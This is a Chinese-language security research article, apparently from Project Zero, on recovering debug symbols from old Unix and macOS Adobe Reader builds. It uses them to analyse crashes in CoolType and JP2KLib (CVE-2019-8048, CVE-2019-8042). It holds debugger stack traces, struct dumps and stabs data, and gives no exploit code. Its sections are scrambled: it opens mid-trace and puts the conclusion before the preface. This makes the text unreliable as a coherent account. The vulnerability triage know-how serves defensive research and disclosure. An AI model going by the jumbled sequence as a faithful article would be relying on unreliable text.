#9  0x7d738670 in Text::GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#10 0x7d738149 in _CTTextGetTextGlyphs_GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
[...]

现在,这是一个更为详细的调用栈,我们可以看到ATMBuildBitMap的祖先(Ancestors)的名称,并且可以访问几乎完整的类型/本地信息。

Issue #1891漏洞分析(CVE-2019-8042)

再举一个例子,让我们来分析一下Issue #1891中报告的TrueType字体处理中的CoolType崩溃。在Reader中打开poc.pdf时,会出现以下崩溃:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0a68d4cc
0x7d72a310 in fsg_QueryTwilightElement (pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c:915
915     /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c: No such file or directory.
        in /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c

再一次,我们可以获得非常详细的栈跟踪:

(gdb) bt
#0  0x7d72a310 in fsg_QueryTwilightElement (pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c:915
#1  0x7d729c93 in fs__NewTransformation (inputPtr=0xbfffc040, outputPtr=0xbfffbf70, useHints=1, pFontInst=0x83238d4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fscaler.c:474
#2  0x7d729b19 in fs_NewTransformation (inputPtr=0xbfffc040, outputPtr=0xbfffbf70, pFontInst=0x83238d4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fscaler.c:411
#3  0x7d72997e in SetGlyph (pCharDataDesc=0xbfffc264, inst=0x83238d4, procs=0x7d9d9e24, mem=0xbfffc1c0, in=0xbfffc040, out=0xbfffbf70) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/ttbuild.c:392
#4  0x7d73c331 in TTBuildBitMap (pFontInst=0x83238d4, pCallbackProc=0x7d9d9e24, pCharDataDesc=0xbfffc264, pCharIO=0xbfffc210, pClipBBox=0x0, pBitMap=0xbfffc2c4, pClientHook=0xb67fac) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/ttbuild.c:1128
#5  0x7d73bc9f in ATMCGetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#6  0x7d73b517 in Render::RenderToGlyphMap () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#7  0x7d739d0c in FontInstanceCache::GetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#8  0x7d739239 in FontInstanceCache::GetGlyphMaps () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#9  0x7d738670 in Text::GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#10 0x7d738149 in _CTTextGetTextGlyphs_GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
[...]

如果我们想更加深入地分析问题的根本原因,我们可以从创建未映射的0x0a68d4cc地址来开始。最高级fsg_QueryTwilightElement函数的参数为:

pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0

0x0a68d4cc和0xa69b008的地址非常接近,二者之间仅相差56124个字节,因此我们在猜想,前者是否是基于后者计算的?接下来,我们来分析第二个参数,看看能否找到与现有数据一致的线索:

(gdb) ptype PrivateSpaceOffsets
type = struct fsg_PrivateSpaceOffsets {
    uint32 offset_storage;
    uint32 offset_functions;
    uint32 offset_instrDefs;
    uint32 offset_controlValues;
    uint32 offset_globalGS;
    uint32 offset_FontProgram;
    uint32 offset_PreProgram;
    uint32 offset_TwilightZone;
    uint32 offset_TwilightOutline;
    fsg_OutlineFieldInfo TwilightOutlineFieldOffsets;
} *
(gdb) print *(fsg_PrivateSpaceOffsets *)0x8caad0
$2 = {
  offset_storage = 0,
  offset_functions = 192,
  offset_instrDefs = 1096,
  offset_controlValues = 1096,
  offset_globalGS = 3764,
  offset_FontProgram = 4124,
  offset_PreProgram = 7149,
  offset_TwilightZone = 4294911172,
  offset_TwilightOutline = 4294911220,
  TwilightOutlineFieldOffsets = {
    x = 65304,
    y = 326488,
    ox = 587672,
    oy = 848856,
    oox = 1110040,
    ooy = 1371224,
    onCurve = 0,
    sp = 65296,
    ep = 65298,
    f = 1632408,
    fc = 65300,
    maxPointIndex = 65296
  }
}
(gdb)

这两个结构字段看起来都非常大,它们看起来像是有符号的数字吗?

(gdb) print (int)((fsg_PrivateSpaceOffsets *)0x8caad0)->offset_TwilightZone
$3 = -56124
(gdb) print (int)((fsg_PrivateSpaceOffsets *)0x8caad0)->offset_TwilightOutline
$4 = -56076
(gdb)

我们终于找到了罪魁祸首。如果在反汇编程序中查看fsg_QueryTwilightElement函数,就可以确认这确实是在取消引用之前构造无效指针的方式。现在,我们就可以继续进行分析,以了解为什么这两个字段被分配了超出界外的值,从而掌握导致这一漏洞的根本原因,同时也能向厂商提供一些额外的信息。

总结

正如本次研究过程中所发现的,在进行闭源代码应用程序的安全研究期间,借助调试元数据可以为我们带来意想不到的收获。我希望这些新发现的Reader符号可以在未来简化一些安全研究人员的工作。对我而言,这也有效地表明了,侦查往往是脆弱性研究的一个重要组成部分,通过侦查获得的成果往往会远超出预期。

另一方面,如果Adobe官方能将这些符号预先提供给所有研究人员,那么就不需要再进行侦查的步骤。此前,我们没有讨论过macOS上的调试数据,意味着只有极少数“以攻促防”的安全研究人员才能了解到这一事实。因此,我们倡导闭源代码产品的厂商,通过主动共享符号的方式来改善其软件的可审查性,这一倡议与Microsoft的做法类似。通过这样的方式,可以促进公平竞争,以良好的开放性来确保客户端应用程序的安全性,改变原有晦涩难懂的风格。从长远来看,这将使用户受益。

前言

由于一些闭源客户端应用程序的源代码和其他辅助工具(例如调试符号)往往是无法直接访问的,这将阻碍研究人员对于客户端应用程序的安全性分析。正因如此,研究人员需要对软件进行完整的黑盒逆向工程,以便更好地了解其内部结构,并重构无法获知的上下文信息,这对于识别安全漏洞、对于崩溃的分类和去重来说是必要的。而逆向的过程可能会非常艰巨,除了测试程序安全性所花费的时间之外,研究人员还要额外花费大量的时间。

而另一方面,研究人员往往会有效利用所有可用的资源。对于发行历史比较悠久的成熟软件,其中的一大资源可能是程序的旧版本或当前支持其他平台的版本。尽管这些旧版本目前对普通用户来说几乎没有用,但其中可能包含对漏洞研究者来说非常宝贵的组件。在许多案例中,应用程序的核心部分往往并没有改变,或者只是略有改变。因此,我们如果能发现任何辅助信息,也许在某种程度上能适用于最新版本。鉴于以上思路,我建议所有安全研究人员在进行复杂的逆向之前首先开展一些“侦查”步骤,通过侦查也许能为以后节省大量时间和精力。

在本文中,我们首先针对1997-2013年之间发布的Unix家族系统中较旧版本的Adobe Reader附带的调试符号进行分析。这里的调试符号将有助于在逆向工程时了解Reader各个组件的内部工作原理,同时有助于在模糊测试的过程中对崩溃进行分类、去重等自动化任务。并且,在对macOS版本进行仔细研究后,我发现实际上有更多的调试元数据已经被放入到公开发行的安装程序之中,其中的一些数据是唯一的(其他符号源中不包含),或者比最新的Unix符号还要更新一些。考虑到这些新数据的价值,我们会在本篇文章的最后与各位读者分享。需要说明的是,我们可以从官方FTP服务器ftp.adobe.com以及HTTP服务器ardownload.adobe.com下载90年代至今的Adobe Reader历史版本。

Adobe Reader调试符号

我们通常需要的特定信息类型是调试符号。顾名思义,调试符号用于帮助开发人员调试应用程序,并且根据其不同类型,可能会显示出函数、枚举和源文件的内部名称,以及完整的函数原型、结构布局和其他有趣的数据。即使是最基本的符号类型(仅包括函数名称)也非常有帮助,因为借助这些可以观察汇编代码每个区域的特定用途,并且可以在对崩溃进行分类的过程中实现栈跟踪。

在Winodws上,Microsoft Visual C++(MSVC)编译器在外部.pdb文件中生成符号,例如:在与Program.exe相同的目录中创建的输出Program.pdb文件。据我所知,Adobe从未发布过与可执行程序和库相对应的pdb文件。较早的编译器还可以选择将DBG格式的符号嵌入到可执行文件中,但是我在Reader中没有发现任何符号,由此看来Windows版本似乎没有包含任何调试符号。

但是,在Linux、macOS和其他UNIX系列系统上,可以将符号直接嵌入可执行文件中,这样就使得厂商在发布已编译的软件时,可能会有意或无意地将符号“共享”出去。值得关注的是,这样的信息已经在社区中传播过一段时间(详情参考@nils 2013年发表的推文,以及Sebastian Apelt 2016年在XFA的演讲)。我们发现,这一点非常值得关注,并且可以更加广泛地让大家了解。

为了能完整描述实际情况,我决定对Adobe Reader各版本的可执行文件和库进行完整分析,我们所分析最早的版本可以追溯到1997年。我选择的组件是一些经常被研究或漏洞利用的组件,包括:Acroread(主程序)、AGM(Adobe图形管理器)、CoolType(打印引擎)、BIB(Bravo Interface Binder)、JP2K(JPEG2000核心库)和rt3d(3D Runtime)。

在以前,Adobe曾经针对各种基于Unix和类Unix的系统发布Reader,例如SunOS、IRIX、OSF/1、HP-UX、AIX和Linux。我们可以从HTTP服务器ardownload.adobe.com或FTP服务器ftp.adobe.com下载软件包的副本。具体而言,相对应的URL是ftp.adobe.com/pub/adobe/reader/unix和ftp.adobe.com/pub/adobe/acrobatreader/unix。在撰写本文时,第二个URL似乎无法访问,但其网站快照可以从https://web.archive.org获得。在其他位置,我们还找到了一些SunOS软件包。在获得了所有3.x版本的软件包之后,我列出了下表,该表中汇总了我的分析结果:

4.png

在2013年发布的5.5版本之后,Adobe Reader不再支持基于Unix的系统。如我们所见,上述所有模块在某些时间点(某些发布版本)中都包含可用的符号。对于CoolType,公共符号的最新版本是2005年的版本。对于其他组件,还存在2013年的最新版本。需要特别说明的是,即便是2005年版本的CoolType也非常有帮助,它帮助我理解了OpenType CharString解释器的内部结构,在2015年发现过一个字体相关的漏洞与之相关。

关于macOS,我最初认为针对该平台,只有JP2K和3D模块曾发布过调试信息。经过更详细的分析后,我发现这个假设是错误的,并且在Mac的Reader 7.x、8.x、9.x和DC版本中也找到了所有其他主要组件的符号。我们将在本文的后面部分重点分析macOS平台的Adobe Reader符号。

如何利用符号

我认为,符号有助于更好和更快地理解代码库,从而帮助我们对软件进行深入分析,或利用代码开展模糊测试。在这种情况下,我们实际上有两种选择:一是在审计和模糊测试期间,定位较旧版本的符号二进制文件,然后尝试在最新版本中重现结果;二是尝试将旧版本符号转移到新库中并对其进行操作。尽管后者听上去更靠谱一些(避免了潜在的误报和漏报),但我发现我们很难在不同时间,针对不同平台和使用不同编译器的两个相似模块之间移植符号。我已经测试过BinDiff和Diaphora。

另外一种选择是使用带有符号版本的并列视图,将名称复制到IDA,并检查特定的函数和对象。如果要对整个库进行这样的检查,往往会花费很多精力。举例来说,Reader中最新的JP2KLib.dll包含3300多个功能。但实际上,我们需要的只是符号中的一小部分。此外,随着我们逐步创建具有大量可识别符号的.idb,我们也可以将这些符号轻松的扩展到每个Patch Tuesday发布的新版本之中,因为相邻版本之间只有很小的变化。

我们来看一个例子。Project Zero Issue #1892是JP2KLib.dll库中的一个堆损坏漏洞。我们在Reader中打开poc.pdf文件后,WinDbg显示以下栈跟踪:

 [...]
JP2KLib!JP2KCopyRect+0x17ce9:
1111cee9 c6040100        mov byte ptr [ecx+eax],0       ds:002b:fff3a008=??
 
 
0:000> k
 # ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0473cb28 1111cfea JP2KLib!JP2KCopyRect+0x17ce9
01 0473cb8c 1111b4ff JP2KLib!JP2KCopyRect+0x17dea
02 0473cbf8 1111898e JP2KLib!JP2KCopyRect+0x162ff
03 0473cd7c 1110d2af JP2KLib!JP2KCopyRect+0x1378e
04 0473cdf0 1110d956 JP2KLib!JP2KCopyRect+0x80af
05 0473ce54 1110dc90 JP2KLib!JP2KCopyRect+0x8756
06 0473ce78 11125e4a JP2KLib!JP2KCopyRect+0x8a90
07 0473ced8 5fafb5be JP2KLib!JP2KImageDecodeTileInterleaved+0x2a
08 0473cf64 5fac449b AcroRd32!AX_PDXlateToHostEx+0x32046e
09 0473d05c 5f9d828d AcroRd32!AX_PDXlateToHostEx+0x2e934b
0a 0473d0a0 089ada8c AcroRd32!AX_PDXlateToHostEx+0x1fd13d
[...]

效果似乎不是太好。在这里,唯一正确识别的符号是JP2KLib!JP2KImageDecodeTileInterleaved,它是导出的函数。但遗憾的是,相同的崩溃无法在macOS上复现,因此我们无法从该位置轻松获得符号化的栈调用,但是我们仍然可以使用AdobeJP2K Mach-O文件在Windows上重新创建符号。我们在IDA中打开JP2KLib.dll和AdobeJP2K,并从JP2KImageDecodeTileInterleaved入口点开始:

5.png

6.png

我们可以清晰地将sub_1004DC58重命名为IJP2KImage::DecodeTile,或者更具体地说,将其重命名为__ZN10IJP2KImage10DecodeTileEiiiiiP14IJP2KImageData,这是该方法的C++名称。我们继续:

7.png

8.png

在这里,有两个重载的IJP2KImage::DecodeTile方法,在我们的例子中,第一个方法在进程崩溃时被调用。我们可以重命名sub_1004D91F并在其中查看:

9.png

10.png

毫无疑问,sub_1004D159是重载的IJP2KImage::DecodeTile的另外一种实现。我们可以对其进行重命名,并继续相同的步骤,直到到达崩溃的位置。在这种情况下,我们必须在Linux符号化版本libJP2K.so的栈跟踪中查找最高级函数的名称,因为它是由macOS构建中的编译器进行内联的。

一旦在数据库中命名了我们感兴趣的所有函数,我们就可以将IDA调试器与WinDbg后端结合使用,以再次在Adobe Reader中打开PoC文件。现在,看起来好多了:

11.png

我们寻找了从IDA导出符号信息的方法,以便可以在WinDbg中直接使用。我们推荐以下几个项目:

FakePDB(https://github.com/Mixaill/FakePDB)

ret-sync(https://github.com/bootleg/ret-sync)

IDA2Sym(https://github.com/siberas/IDA2Sym)

llvm-pdbutil(https://llvm.org/docs/CommandGuide/llvm-pdbutil.html)

arpwn scripts(https://github.com/bitshifter123/arpwn)

遗憾的是,上述都没有完全符合我的期望。其中一些是PoC/Ad-Hoc类型的工具,另外一些会抛出奇怪的错误,另外一些代码需要人工进行修改。在这一方面,似乎有一些工具上的盲区。由于没有找到理想的解决方案,因此我们还是暂时使用IDA调试器。

我们来看看另一个示例,Issue #1888,这次崩溃发生在CoolType.dll中:

CoolType!CTCleanup+0x22e92:
51ebd2a0 89048e          mov dword ptr [esi+ecx*4],eax ds:002b:520d4000=00000000
 
 
0:000> k
 # ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong.
00 052fc0f0 51ebd214 CoolType!CTCleanup+0x22e92
01 052fc12c 51ebdabd CoolType!CTCleanup+0x22e06
02 052fc16c 51ec8219 CoolType!CTCleanup+0x236af
03 052fc1a0 51e68e68 CoolType!CTCleanup+0x2de0b
04 052fc8c4 51e64051 CoolType!CTInit+0x460e1
05 052fc9a8 51e9e7bb CoolType!CTInit+0x412ca
06 052fcb00 51e9e47f CoolType!CTCleanup+0x43ad
07 052fcb7c 51e769cd CoolType!CTCleanup+0x4071
08 052fcd44 51e7619f CoolType!CTInit+0x53c46
09 052fce14 51e75091 CoolType!CTInit+0x53418
0a 052fd1dc 51e74728 CoolType!CTInit+0x5230a
0b 052fd21c 51e73751 CoolType!CTInit+0x519a1
0c 052fd388 51e732e4 CoolType!CTInit+0x509ca
0d 052fd3dc 52192182 CoolType!CTInit+0x5055d
0e 052fd724 52190fc8 AGM!AGMInitialize+0x69352
0f 052fd884 5215bcd0 AGM!AGMInitialize+0x68198
[...]

同样,栈追踪非常模糊。更糟糕的是,我们没有找到一个明显的入手点,因为AGM.dll调用的第一个CoolType函数不是导出符号。但是,当我们人工查看这些函数的反汇编时,基于我此前对于字体引擎的经验,我们发现CoolType!CTInit+0x460e1实际上是OpenType CharString解释器,它是这个库中最大的函数,其名称为DoType1InterpretCharString。在确定了其中的一个函数之后,就可以向上或向下跟踪调用栈,以尝试匹配其他名称。在这种情况下,我们可以使用Reader 4和Reader 5中的CoolType符号、 Microsoft在DWrite.dll和fontdrvhost.exe映像中使用的符号、Apple在libType1Scaler.dylib库中使用的符号。它们都共享许多相同的OpenType处理代码。

我们对函数进行重命名,并使用poc.pdf在IDA调试器中再次运行Reader。这一次,在发生异常时,我们看到了以下的调用栈:

12.png

如上图所示,我们已经成功重构了大多数CoolType栈的跟踪条目。到这一步为止,我们还不能匹配ATMBuildBitMap的符号,因为它是通过无法跟踪的间接调用来实现调用的。并且,目前还无法识别出任何祖先(Ancestor)函数。尽管如此,对8个最高级别名称进行解码还是非常有帮助的,它可以帮助我们更好地理解受影响的代码,以及该代码为什么无法处理格式错误的数据。

分析核心Acrobat Mach-O映像

以下是macOS版本Reader六个核心组件的细分,其中明确了各组件在每个已发布软件版本中是否都包含符号。为简洁起见,该表格仅从2005年的7.x版本开始列举,在这个版本中,调试信息首次出现:

1.png

如表格注释所述,在8.x和9.x发行版本的子版本之间,某些模块的符号存在较大差异。这两个主要版本的详细表格如下所示:

2.png

显然,Reader Mach-O可执行文件中隐藏了许多有用的信息,其中8.x和9.x版本是调试数据较多的版本。与之前从Unix文件中提取的数据进行对比,我们得到以下信息:

1、3D模块(7.x版本)和CoolType字体引擎(9.x版本)采用stabs格式的专用符号。其中不仅包括函数和全局变量名称,还包括源文件路径、与汇编代码块相对应的源行号、局部变量名称、结构定义、枚举等。这类元数据为我们提供了一些非常详细而准确的信息,有助于掌握代码的工作原理。据我所知,这两个库的私有符号暂时无法从其他公开来源获得,因此这部分内容将帮助对内部工作原理感兴趣的研究人员了解此软件。

2、在8.x和9.x版本中,Acrobat、AGM、CoolType和BIB模块的符号通常比Unix上最新符号版本更新。此外,出于崩溃重复删除或根本原因分析的目的,我们发现在macOS上运行的Reader 9比在SunOS/Solaris上的Reader 9或在AIX/HP-UX上的Reader 7更容易运行,因为前者是更为常见的平台。

3、最后,在DC版本15.006.30033(2015年3月)到15.016.20045(2016年6月)之间,没有分离AGM组件,这也是与此前(从2007年开始,AIX/HP-UX 7.x版本的符号)相比更新的信息来源。

在其中,我们认为私有的CoolType符号可能会附带最为有趣和实用的信息。之所以这么说,是因为它不仅适用于Reader和其他Adobe产品,并且还适用于共享相同字体光栅化代码的所有其他库和系统组件,例如:Windows内核驱动程序(win32k.sys、atmfd.dll)、Windows DirectWrite库(dwrite.dll)、macOS字体库(libTrueTypeScaler.dylib、libType1Scaler.dylib)和JRE t2k字体光栅化程序(libt2k.so等)。接下来,我们将更深入地研究在AdobeCoolType的调试版本中找到的数据类型,尝试对其进行提取,并分析如何有意义地利用这些数据。

深入研究CoolType符号

在各种版本的Reader 9.x中,我们总共发现了17个独特的AdobeCoolType文件,其中包含stabs格式的调试数据。该格式主要是文本格式,因此,如果我们分析文件的末尾,我们将看到类似于以下转储的数据:

parseSeacComponent:f(0,1).h:P(0,17).stdcode:P(0,1).offset:r(0,3)....t1cParse:F(0,1).offset:p(0,3).aux:p(0,27).glyph:p(0,28).h:(0,19).offset:r(0,3).aux:r(0,27).glyph:r(0,28)....t1cDecrypt:F(0,1).lenIV:p(0,1).length:p(2,29).cipher:p(4,36).plain:p(4,36).lenIV:r(0,1).length:r(2,29).r:r(0,9).cnt:(0,3)..c1:(0,11).....t1cUnprotect:F(0,1).lenIV:p(0,1).length:p(2,29).cipher:p(4,36).plain:p(4,36).lenIV:r(0,1).length:r(2,29).single:r(0,11).r1:(0,9).r2:(0,9).cnt:(0,3)..c1:r(0,11).....:t(0,35)=*(0,36).ctlVersionCallbacks:t(0,36)=(2,19)._errstrs.4964.t1cErrStr:F(4,36).errcode:p(0,1).errstrs:V(0,37).errcode:r(0,1)...:t(0,37)=ar(9,27);0;18;(4,36)...

该代码片段展现了来自开源AFDKO库的名称,该库被编译到CoolType中。调试段的其他部分揭示了更多有趣且未被公开过的数据,例如Type1InterpretCharString的详细栈布局。在2015年发布的版本中,主要的Postscript CharString解释器函数存在一些问题:

Type1InterpretCharString:F(5,29).inst:p(38,37).pProcs:p(41,28).pCharDataDesc:p(0,48).pCharIO:p(41,15).pRunData:p(41,13).pPathProcs:p(0,49).pT1Args:p(0,50).etod_path:(38,117).etod_arg:(45,3).status:(0,51).temp_flags:(5,18).did_retry:(5,1)..moveto_lineto_index:r(5,29)...Exception:(13,3)..pPathProcs:(42,6)..substack:(0,52).psstack:(0,53).flexCds:(0,54).hints:(0,55).hint3:(0,56).vStemCount:(5,29).op_stk:(41,10).op_sp:r(5,37).sp:r(38,46).cp:(5,39).wid:(5,39).tempfcd:(5,39).dcp:(5,39).delta:(5,39).i:r(5,15).indx:(5,15).sby:(5,35).dmin:(5,35).subindex:(5,15).tfmLockPt:(0,57).flags:(5,18).accentClipBBox:(5,47).pTempClipBBox:(42,5).prevcp:(5,39).initcp:(5,39).

这里的信息量比较大——在Reader 9.5.5版本的AdobeCoolType文件(6.35MB大小)中,仅各种调试字符串就占据了1.78MB。遗憾的是,IDA Pro和Ghidra似乎没有解析stabs,因此尽管我们在这些反汇编程序中看到了函数和全局名称,但其类型(结构、共用体、枚举、类型定义)和局部变量名称将不会导入。

最终,我成功使用了OS X老版本的objdump和gdb实用程序,后者非常强大。在我的测试环境中,我在MacOS 10.6.8(Snow Leopard)上安装了Adobe Reader 9.5.5版本。然后,在gdb中启动Reader时,看到以下输出:

tests-Mac:~ test$ gdb /Applications/Adobe\ Reader\ 9/Adobe\ Reader.app/Contents/MacOS/AdobeReader
 
[...]
 
(gdb) r
Starting program: /Applications/Adobe Reader 9/Adobe Reader.app/Contents/MacOS/AdobeReader
Reading symbols for shared libraries .+++............................................................................................ done
Reading symbols for shared libraries ...
 
[...]
 
warning: Could not find object file "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/build/MT_Release_Symbols/cooltype5.build/Universal/MT_Release_Symbols.build/Objects-normal/i386/CT_CTS_OpenType.o" - no debug information available for "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/cts/cts_glue/CT_CTS_OpenType.cpp".
 
warning: Could not find object file "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/build/MT_Release_Symbols/cooltype5.build/Universal/MT_Release_Symbols.build/Objects-normal/i386/CT_CTS_StreamFromBuffer.o" - no debug information available for "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/cts/cts_glue/CT_CTS_StreamFromBuffer.c".
 
....... done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries ... done

调试器成功加载了应用程序和嵌入式符号,但提示缺少对象和源文件。如果存在对象和源文件,那么这样的构建版本通常就可以在开发人员的主机上进行调试。此时,我们可以使用以下gdb命令来方便地转储各种类型的常规信息:

info functions:列举在已加载模块中找到的所有函数,或打印有关特定函数的信息

info line:打印源代码文件中特定行的信息

info sources:列举源文件名

info types:列举所有已知类型

info variables:列举所有全局和静态变量名称

这已经提供给我们了很多信息。例如,我们可以回到最关注的函数并进行查找:

(gdb) info functions Type1InterpretCharString
All functions matching regular expression "Type1InterpretCharString":
 
File /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:
IntX Type1InterpretCharString(PFontInst, BCProcs *, T1CharDataDesc *, CharIO *, RunRec *, PathProcs * volatile, T1Args * volatile);
(gdb)

我们可以在其中设置一个断点,并了解它在源代码中的哪一行被声明:

(gdb) b Type1InterpretCharString
Breakpoint 1 at 0x7d853e5a: file /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c, line 7037.
(gdb)

我们可以在特定行上获取更多信息:

(gdb) info line /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:7037
Line 7037 of "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c" starts at address 0x7d853e5a  and ends at 0x7d853e80 .
(gdb)

最终,我们可以检查一种函数参数类型的定义,例如PFontInst结构指针:

(gdb) ptype PFontInst
type = struct _t_FontInst {
    Card16 gridRatio;
    Card16 xAlign;
    Fixed flatnessFactor;
    FixMtx tfmMtx;
    Card32 lenStemSnapV;
    Fixed stemSnapV[48];
    Card32 lenStemSnapH;
    Fixed stemSnapH[48];
   [...]
    Fixed accentHintedWidth;
    Fixed accentCSadjust;
    Fixed accentDSdx;
    Fixed blueStdHW;
    Card32 instructions;
    boolean boostNeeded;
    Card16 boostPhase;
    Card16 fontType;
} *
(gdb) print sizeof(struct _t_FontInst)
$2 = 1020
(gdb)

Issue #1888漏洞分析(CVE-2019-8048)

对全局信息的枚举可能会提供非常有帮助的信息,并能够解决人们在逆向字体光栅化程序过程中可能遇到的许多问题。但是,符号的真正作用在于实时调试期间可用的上先问信息。在之前的章节中,我们尝试利用Issue #1888的PoC触发崩溃并恢复栈跟踪。这是我们得到的结果:

3.png

当我们在macOS Adobe Reader 9.5.5版本中加载相同的PDF时,可以在gdb得到以下内容:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xff978034
0x7d87e018 in FixOnePath (maxStem=void, cs=0x7d9dbe98, expansionFactor=3932) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:787
787     /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c: No such file or directory.
        in /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c
 
(gdb) bt
#0  0x7d87e018 in FixOnePath (maxStem=void, cs=0x7d9dbe98, expansionFactor=3932) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:787
#1  0x7d87ed67 in GlobalColoring (stems=void, counters=0x0, b3=0xbfffa858, expansionFactor=3932, numCounters=15, numStems=14, pClientHook=0xbfffa764) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:608
#2  0x7d85891b in Type1InterpretCharString (inst=0xd6a704, pProcs=0xbfffa748, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pRunData=0xbfffa728, pPathProcs=0xbfffa544, pT1Args=0xbfffa6c8) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:3874
#3  0x7d83b1d8 in BuildRuns (inst=0xd6a704, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pClipBBox=0x0, pRunData=0xbfffa728, pCallbackProc=0xbfffa748, pClientHook=0xbfffa764, rFlags=33) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/atmbuild.c:384
#4  0x7d83b39c in ATMBuildBitMap (pFontInst=0xd6a704, pCallbackProc=0x7d9d9e24, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pClipBBox=0x0, pBitMap=0xbfffa994, pClientHook=0xb83ab4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/atmbuild.c:625
#5  0x7d73bc9f in ATMCGetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#6  0x7d73b517 in Render::RenderToGlyphMap () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
